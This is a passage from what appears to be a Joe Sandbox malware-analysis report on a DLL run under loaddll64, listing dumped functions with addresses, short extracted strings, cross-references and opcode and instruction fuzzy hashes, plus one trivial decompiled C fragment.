Instruction Fuzzy Hash: 0BB1227550234CCBEBA9DF68D1CA6DD7BE1EF24344F104019FC5A9A2A2C774D929CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023D28 Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

lqCn, xrefs: 0000000180023E96
m[l, xrefs: 0000000180023E02

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: lqCn$m[l
API String ID: 0-3128696216
Opcode ID: 4c7d10dd5693097ca8244591837128d2cd95e17d02ebbf0952c9b834f9068715
Instruction ID: 4deb5b9ca544bed4c7e5f99d3a15c07392b613d523b2cda5bb59967198a77625
Opcode Fuzzy Hash: 4c7d10dd5693097ca8244591837128d2cd95e17d02ebbf0952c9b834f9068715
Instruction Fuzzy Hash: CCB11571400709CFDB98CF28C58AADD3BA0FF58358F82422AFD09972A0D774DA59CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800110AC Relevance: 2.7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

Strings

U, xrefs: 00000001800113BA
Nt, xrefs: 0000000180011290

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Nt$U
API String ID: 0-2773090818
Opcode ID: 75f2b5d32e15d85487eb668497678b5eb0055a4daa499d447cf193525b22889b
Instruction ID: 45fe5b86ad995d4d9c8212a5c7c68854cc0b5cbfbb722d6ff257206196d8d1d1
Opcode Fuzzy Hash: 75f2b5d32e15d85487eb668497678b5eb0055a4daa499d447cf193525b22889b
Instruction Fuzzy Hash: FAA1E4B05047888FEB58DF68D8866D93FA1FB48398F11421DFC8AA72A0D778D945CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FF64 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

Us, xrefs: 00000001800102A7
#X, xrefs: 00000001800101A3

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: #X$Us
API String ID: 0-3203413852
Opcode ID: 927f4b49d76b73256ea5c740f2e30509fd742bc0798702765f896e21c4c8ed3c
Instruction ID: 41232c5cd5cce4775d7c49e7c64c552743a4e7719aa725caeeb3acb0d5dfb118
Opcode Fuzzy Hash: 927f4b49d76b73256ea5c740f2e30509fd742bc0798702765f896e21c4c8ed3c
Instruction Fuzzy Hash: 54B167B590070DCFEB98DF28C18A59D3BA9FF55308F404129FC1E962A1E3B8E518CB56

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001FB88 Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

tt", xrefs: 000000018001FCF1
%R, xrefs: 000000018001FBFE

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: %R$tt"
API String ID: 0-772664118
Opcode ID: cdb4b53f2f09b2303a41a9c0704183505d0985f12a48c0c3b60d1fd3dd25ac21
Instruction ID: 8fbc46d1b7e2f611e930d46153dfa18b699fa5ceb3b757a8db7b1acf46b52deb
Opcode Fuzzy Hash: cdb4b53f2f09b2303a41a9c0704183505d0985f12a48c0c3b60d1fd3dd25ac21
Instruction Fuzzy Hash: 09813C7051474D8BDF98CF28C8896ED3BA0FB48398F565319FD4AA6390CB78D585CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BA24 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

5t%, xrefs: 000000018000BA9E
y, xrefs: 000000018000BC4B

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 5t%$y
API String ID: 0-493594994
Opcode ID: 6f0e00c9ead975cfaf4ea2e77c512cc28932c103f1f544ab72cc7830bdf191ce
Instruction ID: 6792571393c1fc0b2eb6fbc5ae81dec58a59b384453640eb5fb68cdcf9e85be0
Opcode Fuzzy Hash: 6f0e00c9ead975cfaf4ea2e77c512cc28932c103f1f544ab72cc7830bdf191ce
Instruction Fuzzy Hash: AA918BB190078ECFDB58CF68C84A5CE7BB0FB14358F404A19F866962A0D3B4DA65CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800096B8 Relevance: 2.6, Strings: 2, Instructions: 147COMMON

Download Yara Rule

Strings

f<$F, xrefs: 0000000180009875
1e, xrefs: 00000001800096D8

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 1e$f<$F
API String ID: 0-2724976541
Opcode ID: 1d95138f6fdf08470e8f176c0dd76d9716459aa4dede15dc4b9a20d9c628de90
Instruction ID: bed1062ba2242fdda31b79b65a0af6ec507006944e588aaef166d9663dde45ee
Opcode Fuzzy Hash: 1d95138f6fdf08470e8f176c0dd76d9716459aa4dede15dc4b9a20d9c628de90
Instruction Fuzzy Hash: 1971197010468CABEBBACF68C8997D937A0FB48348F50861DE90D8E290DF749B49DB01

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800084F8 Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

L, xrefs: 00000001800086D6
Y", xrefs: 000000018000860B

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: L$Y"
API String ID: 0-1467774553
Opcode ID: 2c48c4371220eb54a9ab09e752dd04f6ad79d49a1bf6e2c0c73efc3286d8c696
Instruction ID: b3e18f2d7fd9a4b9b80f79599815d3f82c5d11737bc9d592f484fdbe236454d7
Opcode Fuzzy Hash: 2c48c4371220eb54a9ab09e752dd04f6ad79d49a1bf6e2c0c73efc3286d8c696
Instruction Fuzzy Hash: CB61267151074D9FDB88CF28C8C9AC97BA1FB483A8F55A218FC0A97255C7B4D885CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024680 Relevance: 2.6, Strings: 2, Instructions: 128COMMON

Download Yara Rule

Strings

Sa, xrefs: 00000001800283E3
y&, xrefs: 00000001800246FF

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Sa$y&
API String ID: 0-700414750
Opcode ID: 20d9025a8a3505d7d31e7295bad198ad76a83a447a1e61e4b9726380a692546c
Instruction ID: dfee43bf4d265d3107084244710d0931b241e98621e1a28360d7d5c9830a69e6
Opcode Fuzzy Hash: 20d9025a8a3505d7d31e7295bad198ad76a83a447a1e61e4b9726380a692546c
Instruction Fuzzy Hash: 6551007061C7848FD7A8DF28C18675BBBF0FBDA704F004A1DE689C7261D77699458B42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028690 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

, N, xrefs: 00000001800287E1
0gL, xrefs: 000000018002880D

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: , N$0gL
API String ID: 0-3996470819
Opcode ID: f2532db71947988c01e260eeb170c32121aeeb8cf32307669213a599370f11e8
Instruction ID: e6cd01448f2141974011cda714a22c6421916980406a2c47b20c1b92061da8ef
Opcode Fuzzy Hash: f2532db71947988c01e260eeb170c32121aeeb8cf32307669213a599370f11e8
Instruction Fuzzy Hash: 2551C470500BCCCBEBBACF54CC8D7DA3BA1BB98305F104619D94A9E790DB795648CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800148B0 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

1/, xrefs: 000000018001498D
G`OV, xrefs: 0000000180014A14

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 1/$G`OV
API String ID: 0-3929948944
Opcode ID: d62949ad0294063053f77de7a54004d2a4a62d647e2eb2b3cc8fcc7dd014da9b
Instruction ID: 31e3bcd664d6a8acacbd44d2cd4791fc9ee9cbc125b163ac38e43a9671c391af
Opcode Fuzzy Hash: d62949ad0294063053f77de7a54004d2a4a62d647e2eb2b3cc8fcc7dd014da9b
Instruction Fuzzy Hash: E241177050CB848BDBB8DF28D48579AB7E1FB98304F908A1EE88DC7351DB749588CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014FA4 Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

2V, xrefs: 00000001800150AE
W5, xrefs: 00000001800150D1

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 2V$W5
API String ID: 0-1873325321
Opcode ID: 2cac5ebb664ebc0649a93560a62f559e178364f761da87e25be392b8304fa33a
Instruction ID: 63ef17b550405aac1bd81048b7740241b15b08bd30737758e2ae9d54adb6feaa
Opcode Fuzzy Hash: 2cac5ebb664ebc0649a93560a62f559e178364f761da87e25be392b8304fa33a
Instruction Fuzzy Hash: 1741C3B190074A8BDB48DF24C4965DE7FB1FB68398F10421DFC5A9A290D3B8D6A4CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001000 Relevance: 2.6, Strings: 2, Instructions: 97COMMON

Download Yara Rule

Strings

oB#x, xrefs: 0000000180001159
ANSk, xrefs: 000000018000109F

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ANSk$oB#x
API String ID: 0-2811520726
Opcode ID: 113bf255f30907f85ca083131261c133160d8791ed09c7962e46f1e4aa7aeec8
Instruction ID: d26c3f383fa39858f36e8a1a25e13c9e437254a393a26a1cbff70abbe494b10c
Opcode Fuzzy Hash: 113bf255f30907f85ca083131261c133160d8791ed09c7962e46f1e4aa7aeec8
Instruction Fuzzy Hash: E141E2B090078E8FDF48CF68C8865DE7BB0FB48358F50461DFC56A6290D3B49664CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002005C Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

(B, xrefs: 000000018002015C
3, xrefs: 0000000180020119

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: (B$3
API String ID: 0-3108688774
Opcode ID: ae8899e9af14a8bd0728e043f2f3e6ee9a39677d1fd67c8acad13cfb8091b350
Instruction ID: 4d52e68c3b5894455c2b855b72f500be9282249362062767deb9202ab9d457a9
Opcode Fuzzy Hash: ae8899e9af14a8bd0728e043f2f3e6ee9a39677d1fd67c8acad13cfb8091b350
Instruction Fuzzy Hash: 2D41B2706087408BE758DF28C18955BBBF1BBC9744F104A1DFA968B3A0DB75D945CF82

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001FA08 Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

6`, xrefs: 000000018001FAB8
\I, xrefs: 000000018001FA24

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 6`$\I
API String ID: 0-4113516648
Opcode ID: c820624380164a86f4011e9cac2eee3e4169805a9087f8d545a9fc14e305f8a8
Instruction ID: 87e2cadb684af144f703d936105f11dfb57f24fa6abc88236f5ea505cb77e2af
Opcode Fuzzy Hash: c820624380164a86f4011e9cac2eee3e4169805a9087f8d545a9fc14e305f8a8
Instruction Fuzzy Hash: 4641F77190070D8BDF48DF68C58A5DD7FB0FB483A8F2A621DE80AB6260D7759585CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006880 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

KrTD, xrefs: 000000018000691E
_D, xrefs: 00000001800068FA

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: KrTD$_D
API String ID: 0-934927992
Opcode ID: e1601d4e70e378c5a6ecebcd8442673b18ca16eef11f20bd0ff53c9d04a0e76b
Instruction ID: 79f0e27b47198620a76255f61a383142c91a704a78014043126b857d0cce2a1e
Opcode Fuzzy Hash: e1601d4e70e378c5a6ecebcd8442673b18ca16eef11f20bd0ff53c9d04a0e76b
Instruction Fuzzy Hash: 54316D716187818BD748DF28C05A42ABBE1FB9D30CF444B1DF8CAA6291D7789615CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C498 Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

A%9{, xrefs: 000000018000C57D
V, xrefs: 000000018000C4F9

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: A%9{$V
API String ID: 0-1820082490
Opcode ID: 625af2db419091958e7d4df6c25d7188c91703984e83660915dca7ebc696b449
Instruction ID: 03f72db5704a5358c6f1172bde4b1415201ccefee93438e503f81867a50f7b44
Opcode Fuzzy Hash: 625af2db419091958e7d4df6c25d7188c91703984e83660915dca7ebc696b449
Instruction Fuzzy Hash: E941A2B180038E8FDF48DF64D8865CE7FF4FB48348F114619E859AA250D3B8D694CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001A1C Relevance: 2.6, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

(, xrefs: 0000000180001A33
>>, xrefs: 0000000180001AD9

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ($>>
API String ID: 0-1145299130
Opcode ID: bfec8586a8ac1bda717ee4d3e998b35be4f018f17ebb2d31d060e621415d9480
Instruction ID: 87f9655775df96d3def6b8efa86b2c726d5a06aaa2b0f8cf4872ed89fb5ea4fb
Opcode Fuzzy Hash: bfec8586a8ac1bda717ee4d3e998b35be4f018f17ebb2d31d060e621415d9480
Instruction Fuzzy Hash: FF31D3B190074E8BDF48CF64C88A1DE7FB0FB58358F24461DE946A6290D3B8D6A4CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180027348 Relevance: 2.6, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

f, xrefs: 000000018002739A
bv, xrefs: 0000000180027354

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: bv$f
API String ID: 0-3039744445
Opcode ID: 46d2aa2ebc9209d71c82958834864fb94c0878401221f978366f9a402f9450e9
Instruction ID: 5cd7742688e295825d2d7ad71e75fb66b1b5906d5501222e705b32419eb79afe
Opcode Fuzzy Hash: 46d2aa2ebc9209d71c82958834864fb94c0878401221f978366f9a402f9450e9
Instruction Fuzzy Hash: 0E41B17091438A8FDB49CF68D84A5DE7FF0FB58348F104A29F86AA6250D3B4D664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004CA0 Relevance: 2.6, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

*!#, xrefs: 0000000180004CBA
mV5, xrefs: 0000000180004D66

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: *!#$mV5
API String ID: 0-2993575305
Opcode ID: 4245992fb973f88090a409a267d2f85edccab32cf52bd4f60c75fea94f1a4a84
Instruction ID: f4257f88e51e2467cedc4a109958e0d61b2de26f6874c0326167d1c9068f5517
Opcode Fuzzy Hash: 4245992fb973f88090a409a267d2f85edccab32cf52bd4f60c75fea94f1a4a84
Instruction Fuzzy Hash: 0931C4B150038E8BDB48CF28C94A5DE7BB0FB58358F014A19FC6696290D7B8D665CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800099EC Relevance: 2.6, Strings: 2, Instructions: 68COMMON

Download Yara Rule

Strings

`{, xrefs: 0000000180009AD7
l^jf, xrefs: 0000000180009A95

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: `{$l^jf
API String ID: 0-1869605660
Opcode ID: 28521cbd4e872c1ef803d1df5e8c14565f9c4bc258fc16fe96f59b7c9f67bd2e
Instruction ID: eb540d20a08f5e40d8c0ff40e11836e8ded1822f40ca17c0ef14950dbd3fc5a0
Opcode Fuzzy Hash: 28521cbd4e872c1ef803d1df5e8c14565f9c4bc258fc16fe96f59b7c9f67bd2e
Instruction Fuzzy Hash: D1317FB162D784AFD388DF28D49591ABBE0FB88354F806A1DF8868B290D775D855CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F550 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

2-, xrefs: 000000018001F560
-, xrefs: 000000018001F618

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 2-$-
API String ID: 0-2034864362
Opcode ID: 20bbbdbc3827e50294dde3ee49f0cdd293043f0a077c143f70453fda15f8f7c4
Instruction ID: 4005107032f2b12f9f607655d62483a8781f58ab60f16824121cd48537e79645
Opcode Fuzzy Hash: 20bbbdbc3827e50294dde3ee49f0cdd293043f0a077c143f70453fda15f8f7c4
Instruction Fuzzy Hash: CC317FB190078E8FDF48DF68C84A59A7BB0FB18318F414A1AFC6996254D3B4CA64CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000EAC4 Relevance: 2.6, Strings: 2, Instructions: 61COMMON

Download Yara Rule

Strings

<&, xrefs: 000000018000EB86
q/, xrefs: 000000018000EACC

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: <&$q/
API String ID: 0-2233190826
Opcode ID: 15a5214ead44a1f0762e7863b7fdc3010a0d9091678656a87e304455b9a574ab
Instruction ID: 34f360e2f025a71cd2e5aa73a3d426e5d18a321659368207a0a8d8f01dd344ad
Opcode Fuzzy Hash: 15a5214ead44a1f0762e7863b7fdc3010a0d9091678656a87e304455b9a574ab
Instruction Fuzzy Hash: EE319CB0508B888BE759DF25C48A50BBBF2FBC5788F200A1DF292867A0D775D549CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011664 Relevance: 2.6, Strings: 2, Instructions: 57COMMON

Download Yara Rule

Strings

?P>, xrefs: 00000001800116D2
g%, xrefs: 0000000180011703

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ?P>$g%
API String ID: 0-4203485977
Opcode ID: e7f509d9a25edf16b23a548fc7fe81b9e6bc0ab59227e88e5feb3085b6c3579d
Instruction ID: 717686fd7735f49e019bed61dd90445519292eacbbe0b0eb12e200a6e4bac1a5
Opcode Fuzzy Hash: e7f509d9a25edf16b23a548fc7fe81b9e6bc0ab59227e88e5feb3085b6c3579d
Instruction Fuzzy Hash: 2731B2B090438E8FDB44DF64D88A6DF7BB0FB58348F104A19EC6996250D3B8D664CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800079D8 Relevance: 2.6, Strings: 2, Instructions: 55COMMON

Download Yara Rule

Strings

Ts, xrefs: 0000000180007A84
"X,h, xrefs: 0000000180007AA5

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: "X,h$Ts
API String ID: 0-4155455058
Opcode ID: 217a8b3ebbc510d3abab149b4def833290e522513fd0b99837b1368bb75def2b
Instruction ID: 78e44bf7acd730168ef7454480584198ea74db249acf4ebf7474d583245c3fc9
Opcode Fuzzy Hash: 217a8b3ebbc510d3abab149b4def833290e522513fd0b99837b1368bb75def2b
Instruction Fuzzy Hash: 7D215DB0529785ABD398DF28D08991EBBE0BBC4308F806A1DF8858A350D7B4D548CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800199E8 Relevance: 2.2, Strings: 1, Instructions: 936COMMON

Download Yara Rule

Strings

Mbqz, xrefs: 000000018001ADD0

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Mbqz
API String ID: 0-2241695783
Opcode ID: c7e5bd259350cc8d432e2e418653ef11db78de1d8ea4b143f2c3ed3acbc8f7f6
Instruction ID: 750b1e4ffae553eb56a080148391b3b5c453ff61d810ae7c75f6761a4f8562eb
Opcode Fuzzy Hash: c7e5bd259350cc8d432e2e418653ef11db78de1d8ea4b143f2c3ed3acbc8f7f6
Instruction Fuzzy Hash: 6BB23CB552568D8FDBBADF28C8A97D93BE5FB5C304F00422ADC0ACA260E7749755CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EC334 Relevance: 1.6, APIs: 1, Instructions: 150
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FFE7FFE354EC334(long long __rbx, void* __rcx, void* __rdx, long long __rsi, signed int __r8, void* __r9) {
				signed long long _t25;
				void* _t27;
				void* _t30;

				 *((long long*)(_t30 + 8)) = __rbx;
				 *(_t30 + 0x10) = _t25;
				 *((long long*)(_t30 + 0x18)) = __rsi;
				_t27 = (_t25 | 0xffffffff) + 1;
				if ( *((intOrPtr*)(__rcx + _t27)) != sil) goto 0x354ec362;
				if (_t27 + __rdx -  !__r8 <= 0) goto 0x354ec39e;
				return __rdx + 0xb;
			}

0x7ffe354ec334
0x7ffe354ec339
0x7ffe354ec33e
0x7ffe354ec362
0x7ffe354ec369
0x7ffe354ec37c
0x7ffe354ec39d

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3dbb0acb19b1786796477eb2973993dd2a31b244324abc6045056baec5c30e6
Instruction ID: 9cf62e7dbdbd7f4b6d02fe9a873fe835467897f8acc08a4d9d41c5bf126b6673
Opcode Fuzzy Hash: c3dbb0acb19b1786796477eb2973993dd2a31b244324abc6045056baec5c30e6
Instruction Fuzzy Hash: 3951F632B0879285EB249B71A8485AE7FA1FB84F94F258135EE5E27BA5CE3CD401D700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A1D4 Relevance: 1.6, Strings: 1, Instructions: 350COMMON

Download Yara Rule

Strings

m1, xrefs: 000000018000A283

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: m1
API String ID: 0-128121454
Opcode ID: 16691c6ba2deddaf6de1f0e0d1ff2ca3acd048d37c77c35f5dce586baf0938cf
Instruction ID: 5f51607b613c9aae9948664f2987d724fcb5cf1c05a1f438c657f6daf5c41e3f
Opcode Fuzzy Hash: 16691c6ba2deddaf6de1f0e0d1ff2ca3acd048d37c77c35f5dce586baf0938cf
Instruction Fuzzy Hash: 29F11770A04709EFDB58DF68C04A69EBBF2FB48344F40C16DE84AEB290D7759A59CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A734 Relevance: 1.6, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

7s, xrefs: 000000018000AB55

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 7s
API String ID: 0-1359173241
Opcode ID: c3a57ae48d23b59515346257547aa727b2d15ec4c2b1e011d86899241bc59301
Instruction ID: c1bed52c3035b45a669a36fe4e02841f36ae4e7ddeb46aacfe2c23f9d3337973
Opcode Fuzzy Hash: c3a57ae48d23b59515346257547aa727b2d15ec4c2b1e011d86899241bc59301
Instruction Fuzzy Hash: 3B0267B5A0070DCFDB58CF28C59A59D3BA9FB49308F00412DFD0E9A2A4E7B4E915CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010310 Relevance: 1.6, Strings: 1, Instructions: 337COMMON

Download Yara Rule

Strings

0% E, xrefs: 000000018001081C

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 0% E
API String ID: 0-2094739979
Opcode ID: fbf25035978568d4367fdb2795cf05a7893d79d110a623251b08c664a1ec8ff4
Instruction ID: 3cbd3403ae3a5eec6cd9fa22ed9c4212c86eadd61d9582ce71e19d9336bf90de
Opcode Fuzzy Hash: fbf25035978568d4367fdb2795cf05a7893d79d110a623251b08c664a1ec8ff4
Instruction Fuzzy Hash: C8F108B1A0570CCFDBA8DFA8D58A6CDBBF1FF44344F104119E84AA7290D7B8951ACB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012244 Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

>, xrefs: 00000001800126FC

Memory Dump Source

